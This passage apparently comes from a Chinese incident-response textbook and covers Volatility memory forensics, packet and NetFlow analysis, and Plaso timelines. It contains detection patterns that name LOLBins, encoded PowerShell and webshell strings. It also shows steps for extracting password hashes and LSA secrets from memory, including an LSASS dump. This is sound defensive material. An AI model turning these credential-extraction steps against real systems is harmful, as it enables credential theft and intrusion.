第三步:看网络(找 C2)
  windows.netscan    ★ 含已关闭的连接
  windows.netstat

第四步:找注入和恶意代码
  windows.malfind    ★★★ 最重要,找注入的代码
  windows.ldrmodules ★ 找 DLL 隐藏/解链
  windows.dlllist    DLL 列表
  windows.handles    句柄

第五步:找凭据和敏感信息
  windows.hashdump   ★ SAM 里的密码哈希
  windows.lsadump    ★ LSA 里的机密
  windows.credential ★ 凭据管理器
  windows.cmdline    ★ 命令行(含 PowerShell 历史)

第六步:深挖
  windows.dumpfiles  从内存里 dump 文件
  windows.memmap     进程内存映射
  windows.privileges 进程特权
  windows.sessions   会话
  windows.svcscan    服务列表(★ 能找隐藏服务)
  windows.callbacks  内核回调(★ Rootkit 常用)
  windows.ssdt       ★ 系统服务描述符表(看 hook)
  windows.driverscan ★ 驱动扫描
  windows.filescan   文件对象扫描
  windows.mutantscan 互斥体(★ 恶意软件常用特定名字)

★ 完整实战(以一个真实场景为例)

#!/bin/bash
# memory_analysis.sh —— Windows 内存取证标准流程
MEM=/evidence/mem.raw
OUT=/case/memory
mkdir -p $OUT
VOL="python3 /opt/volatility3/vol.py"

echo "═══════════════════════════════════════════"
echo "【第一步】确认镜像信息"
echo "═══════════════════════════════════════════"
$VOL -f $MEM windows.info | tee $OUT/01_info.txt
#   ★ 看:内核版本、NTBuildLab、系统时间、时区
#      ★ 时区很重要!后面的时间要按它换算

echo ""
echo "═══════════════════════════════════════════"
echo "【第二步】进程分析"
echo "═══════════════════════════════════════════"
$VOL -f $MEM windows.pslist > $OUT/02a_pslist.txt
$VOL -f $MEM windows.psscan > $OUT/02b_psscan.txt
$VOL -f $MEM windows.pstree > $OUT/02c_pstree.txt

echo "--- 进程数对比(★ 差异 = 隐藏进程)---"
echo "pslist: $(tail -n +2 $OUT/02a_pslist.txt | grep -c '^[0-9]')"
echo "psscan: $(tail -n +2 $OUT/02b_psscan.txt | grep -c '^[0-9]')"
# ★ 如果 psscan 明显多于 pslist → 有隐藏进程,深入查

echo ""
echo "--- ★ 父子进程异常检查(★ 最有效的一招)---"
# 异常父子关系清单(正常系统不该出现这些)
grep -iE 'winword|excel|powerpnt|outlook|wscript|cscript|mshta|rundll32|regsvr32|certutil|bitsadmin' \
    $OUT/02c_pstree.txt | tee $OUT/02d_suspicious_parents.txt
# ★ 典型的异常:
#   winword.exe → powershell.exe      ← Word 不该启动 PowerShell
#   excel.exe   → cmd.exe
#   wscript.exe → powershell.exe
#   svchost.exe → cmd.exe             ← svchost 不该有 cmd 子进程
#   lsass.exe   → 任何子进程          ← LSASS 从不启动子进程!

echo ""
echo "--- ★ 名字伪装的进程 ---"
# 常见的伪装手法:svch0st.exe(0 代替 o)、lsass.exe 在小写目录、
# explorer.exe 在非 System32 目录、svchost.exe 数量异常多
grep -iE 'svch0st|lssass|lsasss|explore.exe|csrss.exe.*\\Users|winlogon.exe.*\\Users' \
    $OUT/02a_pslist.txt | tee $OUT/02e_masquerading.txt
# ★ 判断 svchost 是否正常的关键:
#   正常的 svchost.exe 一定在 C:\Windows\System32\ 下
#   且父进程是 services.exe
#   ★ 看到 C:\Users\xxx\svchost.exe = 100% 恶意

echo ""
echo "═══════════════════════════════════════════"
echo "【第三步】网络分析"
echo "═══════════════════════════════════════════"
$VOL -f $MEM windows.netscan > $OUT/03a_netscan.txt
$VOL -f $MEM windows.netstat > $OUT/03b_netstat.txt

echo "--- ★ 外部连接(排除本地和内网)---"
awk '$0 ~ /ESTABLISHED/ && $0 !~ /(127\.0\.0\.1|10\.|192\.168\.|172\.1[6-9]\.|172\.2[0-9]\.|172\.3[01]\.)/' \
    $OUT/03a_netscan.txt | tee $OUT/03c_external_conns.txt
# ★ 输出就是 C2 候选,拿去威胁情报平台查

echo ""
echo "--- 按进程统计连接数(找异常进程)---"
grep ESTABLISHED $OUT/03a_netscan.txt | \
    awk '{print $NF}' | sort | uniq -c | sort -rn | head -20 | tee $OUT/03d_conn_by_proc.txt

echo ""
echo "═══════════════════════════════════════════"
echo "【第四步】注入与恶意代码检测 ★★★"
echo "═══════════════════════════════════════════"
$VOL -f $MEM windows.malfind > $OUT/04a_malfind.txt
# ★ malfind 输出的关键信息:
#   PID、进程名、起始地址、内存保护属性(PAGE_EXECUTE_READWRITE = 可疑)、
#   ★ 十六进制 dump(能看到 MZ 头 = 一个完整的 PE 文件被注入)、
#   ★ Disassembly(反汇编,能看到代码在干什么)

echo "--- malfind 结果统计 ---"
grep -c "PID" $OUT/04a_malfind.txt | xargs echo "malfind 命中次数:"
grep -E '^PID|Process:' $OUT/04a_malfind.txt | head -50

echo ""
echo "--- ★ 检测注入的 PE 文件(MZ 头)---"
grep -B5 "4d 5a 90 00\|4d 5a 00 00\|MZ" $OUT/04a_malfind.txt | head -40 | tee $OUT/04b_injected_pe.txt
# ★ 在 rwx 内存区域里看到 "MZ"(4D 5A)= 一个完整的 PE 被注入
#   这是反射加载 DLL 和无文件攻击的明确特征

# ★ dump 出可疑内存区域进一步分析
grep -A20 "PID" $OUT/04a_malfind.txt | head -5
# 然后手工 dump:
#   $VOL -f $MEM windows.memmap --pid <PID> --dump
#   → 得到 pid.<PID>.dmp,用 strings / yara / 反汇编分析

echo ""
$VOL -f $MEM windows.ldrmodules > $OUT/04c_ldrmodules.txt
# ★ ldrmodules 三个列表对比:
#   InLoad / InInit / InMem
#   如果某个 DLL 在 InMem 但不在 InLoad → ★ 被解链(隐藏)
#   → 这是 DLL 隐藏和反射加载的检测点

echo ""
echo "═══════════════════════════════════════════"
echo "【第五步】凭据与命令行"
echo "═══════════════════════════════════════════"
$VOL -f $MEM windows.cmdline > $OUT/05a_cmdline.txt
# ★ 能看到所有进程的命令行,包括:
#   - PowerShell 编码命令(-enc)★ 解出来能直接看到 payload
#   - rundll32 的参数
#   - 各种工具的命令行

echo "--- ★ 找可疑命令行 ---"
grep -iE 'powershell|cmd\.exe|wscript|cscript|rundll32|regsvr32|mshta|certutil|bitsadmin|schtasks|net user|net group|whoami|ipconfig|systeminfo|tasklist' \
    $OUT/05a_cmdline.txt | tee $OUT/05b_suspicious_cmdline.txt

echo "--- ★ 找编码的 PowerShell(-enc / -EncodedCommand)---"
grep -iE '\-enc\b|\-EncodedCommand|FromBase64String|IEX|Invoke-Expression' \
    $OUT/05a_cmdline.txt | tee $OUT/05c_encoded_ps.txt
# ★ 找到后手工解码:
#   echo '<Base64>' | base64 -d | iconv -f UTF-16LE -t UTF-8
#   ★ PowerShell 的 -enc 用的是 UTF-16LE 编码,必须转!

echo ""
echo "═══════════════════════════════════════════"
echo "【第六步】Rootkit 检测(如果怀疑有)"
echo "═══════════════════════════════════════════"
$VOL -f $MEM windows.ssdt        > $OUT/06a_ssdt.txt 2>&1
#   ★ 看 SSDT 里的函数地址,如果某个地址【不在任何内核模块范围内】
#     → 被 hook 了(指向了 Rootkit 的代码)

$VOL -f $MEM windows.callbacks   > $OUT/06b_callbacks.txt 2>&1
#   ★ 内核回调(进程创建回调、镜像加载回调、注册表回调)
#     → 看有没有指向未知模块的

$VOL -f $MEM windows.driverscan  > $OUT/06c_driverscan.txt 2>&1
$VOL -f $MEM windows.modules     > $OUT/06d_modules.txt 2>&1
#   ★ 对比:driverscan 能找到被摘链的驱动(LKM Rootkit)

$VOL -f $MEM windows.svcscan     > $OUT/06e_svcscan.txt 2>&1
#   ★ 服务列表(能找隐藏服务)

$VOL -f $MEM windows.mutantscan  > $OUT/06f_mutants.txt 2>&1
#   ★ 互斥体名(恶意软件常用固定名字,是很好的 IOC)
#     例如:某些后门用 "Global\\MyMutex123"

echo ""
echo "═══════════════════════════════════════════"
echo "【第七步】提取文件与哈希(用于情报查询)"
echo "═══════════════════════════════════════════"
# ★ 把所有进程的可执行文件 dump 出来算哈希,去 VT 查
mkdir -p $OUT/dumped_procs
#   (Vol3 的 windows.dumpfiles 需要指定虚拟地址或 physaddr,
#    实务上更常用 windows.pslist + procdump)

# ★ 更简单的方法:用 file scan 找内存里的文件对象
$VOL -f $MEM windows.filescan > $OUT/07a_filescan.txt 2>&1
grep -iE '\.exe|\.dll|\.ps1|\.bat|\.vbs|\.js' $OUT/07a_filescan.txt | \
    grep -iE 'temp|appdata|users|downloads|desktop' | tee $OUT/07b_suspicious_files.txt
# ★ 这能找出"藏在临时目录里的可执行文件"
#   即使文件已从磁盘删除,内存里的文件对象还在

echo ""
echo "═══════════════════════════════════════════"
echo "分析完成,输出在 $OUT"
echo "★ 下一步:"
echo "   1. 把 netscan 里的外部 IP 拿去威胁情报平台查"
echo "   2. 把可疑文件的哈希拿去 VirusTotal 查"
echo "   3. 把所有时间戳汇总,接入整体时间线"
echo "═══════════════════════════════════════════"

★ malfind 输出怎么看(重点)

典型输出:

  PID     Process       Start VPN  End VPN   Tag  Protection              CommitCharge  PrivateMemory
  2844    svchost.exe   0x1f0000   0x1f0fff  VadS PAGE_EXECUTE_READWRITE  1             1
                        ↑                          ★★★ 关键:可写 + 可执行

  0x1f0000:  4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00   MZ..............
             ★★★ "MZ" = PE 文件的魔数!
                 → 说明这块可执行内存里是一个完整的 PE 文件
                 → 正常的进程内存不会有"可写+可执行+有MZ头"的组合
                 → ★ 这是反射加载 DLL / 无文件攻击的明确特征

  0x1f0010:  b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00   ........@.......
  0x1f0020:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
  ...

  Disassembly(反汇编):
  0x1f0000:  4d                       dec     r15
  0x1f0001:  5a                       pop     rdx
  ...

★ 判断标准(三条,命中任意一条就高度可疑):
  ① Protection = PAGE_EXECUTE_READWRITE(可写 + 可执行)
     ★ 正常的内存段不会同时可写和可执行(W^X 原则)
  ② 内存开头是 "MZ"(4D 5A)
     → 一个完整的 PE 文件被注入
  ③ Vad Tag = VadS 且不在任何已加载模块的地址范围内
     → 说明这块内存不属于任何合法模块

★ 常见误报:
  - .NET 程序的 JIT 代码区域(会有 RWX,但开头不是 MZ)
  - 某些加壳/自修改代码的程序(游戏、DRM)
  - 浏览器的 JIT 引擎(V8、JavaScriptCore)
  ★ 所以 malfind 命中不等于一定恶意,要结合上下文判断

★ 三个最有价值的 Volatility 技巧

技巧一:用 psxview 找隐藏进程(★ Rootkit 检测的王牌)

  psxview 会从【多个内核数据结构】列出进程,然后对比:
    - pslist    :PsActiveProcessHead 链表
    - psscan    :扫描内存池标签
    - thrdproc  :从线程反推
    - pspcid    :PsPspCidTable
    - csrss     :从 csrss.exe 的句柄表
    - session   :会话进程列表
    - deskthrd  :桌面线程

  ★ 如果某个进程在 psscan 里有、在 pslist 里没有:
    → 它被从 PsActiveProcessHead 链表里"摘"掉了
    → ★ 100% 是 Rootkit(典型的 DKOM:Direct Kernel Object Manipulation)

技巧二:从内存恢复被删除的文件

  # Vol3:
  vol.py -f mem.raw windows.filescan | grep "被删的文件名"
  # 找到 physaddr 后:
  vol.py -f mem.raw windows.dumpfiles --physaddr 0x12345678 --dump-dir ./recovered/

  # ★ 或者更常用:直接 dump 整个进程内存
  vol.py -f mem.raw windows.memmap --pid 2844 --dump
  # → 得到 pid.2844.dmp,然后:
  strings pid.2844.dmp | grep -iE 'http|password|token'
  # ★ 能在里面找到明文的配置、C2 地址、密码

技巧三:提取明文凭据(★★ 价值极高)

  # 方法一:hashdump(SAM 里的 NTLM Hash)
  vol.py -f mem.raw windows.hashdump
  #   Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
  #                                                        ★ 这个 Hash 可以拿去破解
  #   ★ 取证价值:证明"哪些账号的凭据暴露了",进而决定重置范围

  # 方法二:lsadump(LSA Secrets,★ 含服务账号密码)
  vol.py -f mem.raw windows.lsadump
  #   ★ 里面有:
  #     - 服务账号的明文密码(服务用密码登录时 AD 会存明文)
  #     - 缓存的域凭据
  #     - 机器的域账号密码
  #     - DPAPI 主密钥
  #   ★ 这是最有价值的一块:服务账号密码往往是明文的!

  # 方法三:从 LSASS 进程内存里找(★ mimikatz 的原理)
  vol.py -f mem.raw windows.memmap --pid <lsass_pid> --dump
  strings -a pid.<lsass_pid>.dmp | grep -iE 'password|pwd' | head
  # ⚠️ 这种方法不太可靠,建议用 lsadump 或专门的 mimikatz

  # ★ 取证意义:
  #   拿到内存里的凭据清单 = 知道"攻击者可能拿走了哪些凭据"
  #   → ★ 直接决定应急响应时【要重置哪些账号的密码】
  #   → 这是内存取证对应急响应最直接的价值

8.4.3 内存取证的常见 IOC(能直接拿去查的东西)

从内存里能提取出的 IOC:

① 外部 IP(netscan 的 ESTABLISHED 连接)
   → 查威胁情报(VirusTotal / AbuseIPDB / 微步 / 360 威胁情报)
   ★ 判断:是不是已知的 C2

② 域名(strings 内存里搜 http://、https://)
   → 查域名的 Whois、解析历史、情报平台
   ★ 新注册域名 + 随机字符串 = 高度可疑

③ 文件哈希(dump 出的 PE 文件)
   → VirusTotal(★ 注意:上传敏感文件要谨慎,可能泄露公司信息)
   ★ 更安全的做法:只上传哈希查询,不上传文件本身

④ 互斥体名(mutantscan)
   → 搜索引擎搜,很多恶意软件的互斥体名是固定且公开的
   ★ 这个 IOC 特别有价值:即使样本变了,互斥体名不变

⑤ 加密密钥、User-Agent、C2 路径
   → 作为"行为特征"用于后续的全网搜索

⑥ 恶意代码里的字符串(作者名、路径、编译时间)
   → 归因分析(★ attribution,判断是哪个组织干的)

★ 实务建议:
  提取 IOC 后,用它们去【全网搜索】(EDR、SIEM、代理日志、防火墙日志)
  → 找出"还有哪些机器也中了"
  → ★ 这一步叫 IOC Sweep(IOC 清扫),是确定失陷范围的关键动作

8.5 网络取证

8.5.1 PCAP 分析

★ 抓包的三种方式

# ══ ① tcpdump(命令行,Linux,★ 最常用)══
tcpdump -i eth0 -w capture.pcap
#   常用参数:
#     -i any              所有网卡
#     -w file             写文件(- 表示标准输出)
#     -r file             读文件
#     -n                  不解析主机名(★ 快,且避免 DNS 查询暴露)
#     -nn                 不解析主机名和端口名
#     -s 0                ★ 抓完整包(默认只抓 96 字节头!这是常见坑)
#     -c 1000             只抓 1000 个包
#     -C 100 -W 10        循环:每 100MB 一个文件,最多 10 个
#     -G 3600 -w 'cap_%H%M.pcap'   每小时一个文件
#     host 1.2.3.4        过滤
#     port 443
#     'tcp[tcpflags] & tcp-syn != 0'

# ★ 取证常用组合:
#   抓可疑 IP 的全包
tcpdump -i any -s 0 -w /evidence/c2.pcap host 203.0.113.5
#   抓 DNS(★ 抓 DNS 隧道)
tcpdump -i any -s 0 -w /evidence/dns.pcap port 53
#   ★ 抓 HTTP(能看到明文请求)
tcpdump -i any -s 0 -A 'tcp port 80'

# ══ ② tshark(Wireshark 的命令行版,★ 分析比 tcpdump 强)══
# 统计
tshark -r capture.pcap -q -z conv,tcp              # TCP 会话统计 ★
tshark -r capture.pcap -q -z io,phs                # 协议分层统计
tshark -r capture.pcap -q -z endpoints,ip          # 端点统计
# 提取
tshark -r capture.pcap -T fields -e ip.src -e ip.dst -e tcp.dstport  # 提取字段
tshark -r capture.pcap -Y "http.request" -T fields -e http.host -e http.request.uri
# ★ 提取 HTTP 请求的域名和 URI(★ 最常用)
# 导出对象(★ 从流量里还原传输的文件)
tshark -r capture.pcap --export-objects http,/evidence/http_objects/
# ★ 这个能还原出通过 HTTP 下载的文件!取证价值极高

# ══ ③ Wireshark(图形界面,★ 人工分析最佳)══
#   关键功能:
#     - 显示过滤器(见下)
#     - Follow TCP Stream(★ 还原完整会话,明文协议直接可读)
#     - Statistics → Conversations(会话统计)
#     - Statistics → Protocol Hierarchy(协议分布)
#     - File → Export Objects → HTTP/SMB/...(★ 还原文件)
#     - Analyze → Expert Info(★ 自动标记异常)

★ Wireshark 显示过滤器速查(取证常用)

# 基础
ip.addr == 203.0.113.5                 某个 IP 的所有流量
ip.src == 10.0.0.5 && ip.dst != 10.0.0.0/24    # 内网到外网
tcp.port == 445                        端口
tcp.flags.syn == 1 && tcp.flags.ack == 0       # SYN(连接发起)

# ★ 找异常
tcp.flags.reset == 1                   RST(连接被拒,可能是扫描)
tcp.analysis.retransmission            重传(网络问题或干扰)
tcp.analysis.flags                     所有 TCP 异常(★ 先看这个)
http.response.code >= 400              错误响应
dns.qry.name contains "xyz"            DNS 查询

# 协议特定
http.request.method == "POST"          ★ POST 请求(可能是数据外传)
http.request.uri contains "upload"     上传
http.content_type contains "zip"       压缩包
http.cookie                            Cookie(★ 会话劫持)
dns.qry.type == 16                     ★ TXT 查询(DNS 隧道特征)
dns.qry.name                           DNS 查询的域名
tls.handshake.type == 1                TLS Client Hello
tls.handshake.extensions_server_name   ★ SNI(能看到访问的域名,即使 HTTPS 加密)

# ★ 找长连接(C2 心跳)
tcp.time_delta > 60                    包间隔大于 60 秒(★ 心跳特征)

# ★ 找 DNS 隧道(第七章讲过,这里给过滤器)
dns && dns.qry.name matches "^[a-z0-9]{20,}\\."   # 超长随机子域名
dns.qry.type == 16                                 # TXT 类型查询
frame.len > 200 && dns                             # 大 DNS 包

# ★ 找 SMB(横向移动)
smb2.cmd == 5                          SMB2 Create(文件访问)
smb || smb2                            所有 SMB
ntlmssp                                ★ NTLM 认证(能看到用户名和域名!)
kerberos                               Kerberos

# ★ 找明文密码
ftp || telnet || http.authbasic        明文协议
http.request.method == "POST" && http contains "password"
ldap                                   LDAP(可能明文)

# ★ 找恶意流量特征
http.user_agent contains "Mozilla" == false     # 非浏览器的 HTTP(★ 工具流量)
http.request.uri matches "\\.php$"              # 访问 php(Webshell)
http contains "eval(" || http contains "base64_decode"   # ★ Webshell 特征
http.request.uri contains "cmd="                # 命令执行

★ 网络取证能回答什么问题

① 攻击者从哪来?
   → 源 IP(但可能是跳板/被控机器,要谨慎归因)

② 攻击者在跟谁通信?
   → 外部 IP、域名、端口 → C2 服务器

③ 传了什么数据?
   → 导出 HTTP 对象(下载的文件)
   → Follow TCP Stream(明文通信的内容)
   → ★ 流量大小统计(判断有多少数据外传)
   → ★ 加密流量只能看到大小和时间(元数据)

④ 用了什么协议/工具?
   → User-Agent(非浏览器 = 工具)
   → TLS 的 JA3/JA4 指纹(★ 能识别客户端类型)
   → 特定端口、握手特征(Metasploit、Cobalt Strike 有特征)

⑤ 内网横向的范围?
   → SMB/WinRM/RDP 的连接来源和目标
   → ★ NTLM/Kerberos 认证里的用户名(★ 明文可见!)

⑥ 数据外传了多少?
   → 按会话统计字节数
   → ★ SRUM、NetFlow 也能提供这个数据

⑦ 通信的时间规律?
   → 心跳间隔(Cobalt Strike 默认 60 秒 + 抖动)
   → ★ 定时心跳 = C2 的明确特征

★ JA3 / JA4 介绍(TLS 指纹,进阶但很实用)

原理:
  TLS 握手时,客户端发送的 Client Hello 里包含:
    - TLS 版本
    - 支持的加密套件列表(顺序也重要)
    - 扩展列表(顺序也重要)
    - 椭圆曲线、签名算法

  ★ 不同的客户端(Chrome、curl、Python requests、
    Cobalt Strike、Metasploit)的这些参数组合是固定的
  → 算一个 MD5,就是 JA3 指纹
  → ★ 即使流量是加密的,也能通过指纹识别客户端类型!

JA3 的计算:
  JA3 = MD5(SSLVersion,Ciphers,Extensions,EllipticCurves,EllipticCurvePointFormats)
  例如:e7d705a3286e19ea42f587b344ee6865  (某个已知恶意工具)

JA4(新一代,2023 年发布):
  ★ 解决了 JA3 的一些问题(对某些变化的过度敏感)
  格式更长,包含更多维度(如 ALPN、是否带 SNI 等)

★ 实务用法:
  ① 提取所有 TLS 握手的 JA3
  ② 跟已知恶意工具的 JA3 库比对
  ③ ★ 或者做"异常检测":
     内网机器正常都用 Chrome/Edge,如果突然出现一个
     Python-requests 的 JA3 → ★ 高度可疑(有人在跑脚本)

工具:
  - Wireshark:tls.handshake.ja3_full 字段
  - tshark:tshark -r x.pcap -T fields -e tls.handshake.ja3_full
  - ★ Zeek:自动在 ssl.log 里记录 JA3
  - 已知 JA3 库:https://ja3er.com/、https://github.com/SpinWave/ja3db

8.5.2 全流量与 NDR

★ 三种网络数据的对比

全包(PCAP) NetFlow NDR / 元数据
记录什么 完整的包(含 payload) 流的元数据(五元组、字节数、时间) 元数据 + 协议解析 + 行为分析
存储量 ★★★★★ 巨大(1Gbps ≈ 400GB/天) ★ 小(约全包的 1%) ★★ 中
能看 payload ✅ ❌ 部分(文件还原)
保留期 天 ~ 周 ★ 月 ~ 年 周 ~ 月
典型工具 tcpdump、Arkime(Moloch) nfdump、ntopng Zeek、Suricata、Corelight
取证价值 ★★★★★ 最高(但存不久) ★★★ 好(能回答“谁跟谁通信”) ★★★★ 很好(有应用层上下文)

★ Zeek(原 Bro)—— 网络取证的最佳工具

Zeek 不是 IDS,是"网络安全监视器":
  它把流量解析成【结构化的日志文件】,每行一个事件

★ 核心日志(★ 取证时挨个看):
  conn.log     ★ 每个连接一行(五元组、字节数、时长、服务类型)
  dns.log      ★ 每个 DNS 查询一行(★ 抓 DNS 隧道、DGA)
  http.log     ★ 每个 HTTP 请求(URI、UA、状态码、referrer)
  ssl.log      ★ 每个 TLS 握手(★ 含 SNI、JA3、证书信息)
  files.log    ★ 传输的文件(★ 含 MD5/SHA1,能直接 VT 查!)
  smb.log      ★ SMB 文件操作(横向移动、勒索加密!)
  kerberos.log ★ Kerberos 认证(★ 用户名、服务名)
  ntlm.log     ★ NTLM 认证(★ 用户名、域名、主机名)
  rdp.log      RDP 连接
  ssh.log      SSH 连接
  dpd.log      协议识别异常
  notice.log   ★ Zeek 自动标记的异常(★ 先看这个)
  weird.log    ★ 奇怪的流量(协议违规)
  intel.log    ★ 威胁情报命中(配了情报源的话)

★ 取证实战(dns.log 示例):
  #fields ts      uid  id.orig_h  id.orig_p  id.resp_h  id.resp_p  proto  trans_id  query        qtype  rcode
  1710464000.123  C1a  10.0.0.5   53421      10.0.0.1   53         udp    12345     evil.com     A      0

  ★ 用法:把所有 DNS 查询的域名导出来,找异常的
  cat dns.log | zeek-cut query | sort -u | head -1000
  # ★ 然后筛:超长随机子域名、新注册域名、DGA 特征

★ 取证实战(conn.log 示例):
  #fields ts  uid  id.orig_h  id.orig_p  id.resp_h  id.resp_p  proto  service  duration  orig_bytes  resp_bytes  conn_state
  1710464000  C1a  10.0.0.5   49231      203.0.113.5 443       tcp    ssl      3600.5    5243        128394      S1

  ★ 找出"长时间 + 大量数据"的连接:
  zeek-cut id.orig_h id.resp_h duration orig_bytes resp_bytes < conn.log | \
    awk '$5 > 10000000 {print}' | sort -k5 -rn
  #   ★ 找出外传超过 10MB 的连接 = 数据泄露候选

★ 杀手级功能:file extraction
  Zeek 能自动从流量里【还原传输的文件】并算 MD5/SHA1
  配置:加载 policy/protocols/http/extract-all-files.zeek
  → 得到 extract_files/ 目录
  → ★ 里面是攻击者下载的恶意样本!直接分析或 VT 查

★ 实务建议:全流量的“三档配置”

不可能永久保存全包(成本太高)。分层保留:

  第一档:NetFlow(保存 1 年)
    ★ 便宜、能回答"谁跟谁在什么时候通信过"
    → 用于事后回溯"半年前那台机器连过什么"

  第二档:NDR 元数据(Zeek,保存 3~6 个月)
    ★ 有应用层信息(域名、URI、文件哈希、用户名)
    → 取证的主力数据源

  第三档:全包 PCAP(保存 7~30 天,滚动覆盖)
    ★ 只在需要看 payload 时用
    → 平时不用,但出事时前 7 天的包还在,价值极高

  ★ 关键决策:出事时【立即冻结】全包,别让它被覆盖!
    → 这是应急响应里最容易被忘掉的一步

8.5.3 NetFlow 分析

NetFlow 是什么:
  网络设备(路由器/交换机/防火墙)输出的"流"的统计信息

★ 一条流(Flow)的定义(五元组):
  源IP + 源端口 + 目的IP + 目的端口 + 协议
  + 附加信息:包数、字节数、起止时间、TCP flags、输入/输出接口、AS 号

★ 注意:NetFlow 【没有 payload】,只有元数据
  → 不能看到"传了什么内容"
  → 但能看到"谁跟谁、传了多少、什么时候"

★ 取证能回答:
  ① 这台机器跟哪些外部 IP 通信过?(★ 找 C2)
  ② 传了多少数据?(★ 数据泄露的量)
  ③ 通信的时间规律?(★ 心跳 = C2)
  ④ 扫描行为?(一个源对大量目的 IP 的短连接)
  ⑤ 横向移动?(内网机器之间的 445/3389 连接)

★ 常用工具
  nfdump / nfsen(★ 经典组合,有 Web 界面)
    nfcapd -w -D -p 9995 -l /data/netflow        # 采集
    nfdump -R /data/netflow -o extended          # 查看
    nfdump -R /data/netflow 'host 203.0.113.5'   # 过滤
    nfdump -R /data/netflow -s srcip/bytes       # ★ 按源 IP 统计流量
    nfdump -R /data/netflow -s dstport/flows     # 按目的端口统计

  ntopng(图形界面,实时)
  SiLK / YAF(美国 CERT 出品,大规模环境)
  Elastic 的 Packetbeat + 自研

★ 实战:找数据外传
  # 统计每个内网 IP 的外传字节数(Top 20)
  nfdump -R /data/netflow -s srcip/bytes 'src net 10.0.0.0/8 and not dst net 10.0.0.0/8' | head -20
  #   ★ 突然某个 IP 外传了几个 GB = 数据泄露

  # 找心跳(长时间、小流量、周期性)
  nfdump -R /data/netflow 'host 203.0.113.5' -o extended | head -50
  #   ★ 看 duration 很长但 bytes 很小的连接 = C2 心跳

  # 找扫描(一个源对大量目的)
  nfdump -R /data/netflow -s srcip/dstip 'flags S and not flags A' | head -20
  #   ★ SYN 但没有 SYN-ACK = 扫描

8.6 时间线分析(Timeline)

8.6.1 什么是超级时间线(Super Timeline)

一句话定义

超级时间线:把一台机器上所有带时间戳的记录(文件系统、注册表、日志、浏览器、内存……)合并成一张按时间排序的总表。

★ 为什么它是取证的“终极武器”

单独看某一个数据源,你只能看到局部:
  - 事件日志:看到有登录,但不知道他下载了什么
  - MFT:看到有个文件被创建,但不知道是谁创建的
  - 浏览器历史:看到访问了某个网站,但不知道之后执行了什么

★ 把它们按时间排在一起,你就能看到【完整的故事】:

  02:10:00  [邮件]        收到钓鱼邮件(Outlook PST)
  02:11:30  [浏览器]      点击了邮件里的链接
  02:11:35  [下载]        下载 invoice.doc(Chrome Downloads)
  02:12:00  [文件系统]    invoice.doc 创建(MFT)
  02:12:30  [Prefetch]    WINWORD.EXE 首次运行 ★
  02:13:00  [Amcache]     WINWORD.EXE 执行记录 ★
  02:13:10  [注册表]      UserAssist 记录 WINWORD.EXE
  02:14:00  [文件系统]    mshta.exe 被复制到 Temp(MFT)
  02:14:20  [事件日志]    4688 进程创建:winword.exe → mshta.exe ★★
  02:14:25  [内存]        netscan 显示连到 203.0.113.5:443 ★
  02:14:30  [Sysmon 3]    网络连接,进程是 mshta.exe
  02:15:00  [文件系统]    payload.dll 写入 Temp
  02:15:30  [malfind]     内存注入 ★
  02:16:00  [文件系统]    持久化:注册表 Run 键被改(Sysmon 13)
  02:20:00  [SRUM]        mshta.exe 上传了 5MB 数据 ★

  ★ 看到这张表,整个攻击过程一目了然
    这就是超级时间线的力量

★ 时间线能回答的三个核心问题

① 攻击是什么时候开始的?(Patient Zero 时间)
   → 找【最早】的异常事件
   → ★ 这是确定"失陷时间窗口"的关键,决定了要回溯多久的日志

② 攻击者做了什么?(完整的行为链)
   → 按时间排序,行为链自然浮现
   → ★ 特别是"某个动作之后紧接着发生了什么"(因果关系)

③ 还有什么是我们不知道的?(找时间线里的"空档")
   → 时间线里有跳跃 = 中间可能有我们没找到的痕迹
   → ★ 这是"继续深挖"的线索

8.6.2 生成超级时间线:Plaso / log2timeline

Plaso(Python Log2timeline and Super timeline all in one)
  ★ 业界标准,支持几十种数据源,自动解析成统一格式

★ 支持的数据源(部分):
  文件系统:$MFT、$UsnJrnl、$LogFile、ext4 inode
  Windows:事件日志(evtx)、注册表(所有 hive)、Prefetch、
           Amcache、SRUM、回收站、LNK、Jump Lists、浏览器、任务计划
  Linux:syslog、auth.log、audit.log、wtmp、utmp、lastlog、
         bash history、systemd journal
  其他:Chrome/Firefox 历史、Firefox 缓存、MacOS 的 plist、
         iOS 备份、Android、Docker、Apache/IIS 日志、PCAP……

★ 输出格式:
  - 默认:Plaso 自己的存储格式(.plaso),可用 psort 转其他格式
  - 常用输出:CSV(★ Timeline Explorer 能直接打开)、JSONL、Elastic
  - ★ 也可以直接输出到 Timesketch(★ 协作分析平台,强烈推荐)

★ 实战:生成超级时间线

# ══ 第一步:生成 Plaso 存储文件 ══
# 用法一:从已挂载的证据盘(Linux 挂载 Windows 镜像)
log2timeline.py --storage-file /case/timeline.plaso \
                /evidence/mnt
#   ★ 会自动识别文件系统类型并解析所有支持的 artifact
#   ★ 这个步骤可能很慢(几百 GB 的盘要几小时)

# 用法二:只处理特定目录(快)
log2timeline.py --storage-file /case/timeline.plaso \
                --parsers 'mft,usnjrnl,prefetch,amcache,evtx,winreg' \
                /evidence/mnt/Windows

# 用法三:从已有的证据文件(不是挂载的盘)
log2timeline.py --storage-file /case/timeline.plaso /evidence/collected/
#   ★ 指定 parser
log2timeline.py --storage-file /case/tl.plaso --parsers 'winreg,evtx,prefetch' /evidence/registry/

# ★ 查看支持的 parser
log2timeline.py --info

# ══ 第二步:转成可读格式 ══
# CSV(★ 最常用,Timeline Explorer 打开)
psort.py -o l2tcsv -w /case/timeline.csv /case/timeline.plaso
#   l2tcsv 格式(log2timeline 的 CSV 格式,Timeline Explorer 原生支持)
#   字段:date, time, timezone, MACB, source, sourcetype, type, user, host, short, desc, version, filename, inode, notes, format, extra

# JSONL(适合程序处理 / 导入 Elastic)
psort.py -o json_line -w /case/timeline.jsonl /case/timeline.plaso

# 输出到 Timesketch(★ 协作分析,强烈推荐)
#   见 8.6.4

# ══ 第三步:过滤(★ 关键,全量太大)══
# 只输出某个时间范围
psort.py -o l2tcsv -w /case/tl_filtered.csv /case/timeline.plaso \
    "date > '2026-03-15 00:00:00' AND date < '2026-03-16 00:00:00'"

# 只输出某些数据源
psort.py -o l2tcsv -w /case/tl_exec.csv /case/timeline.plaso \
    "source IN ('PE','LOG','REG')"
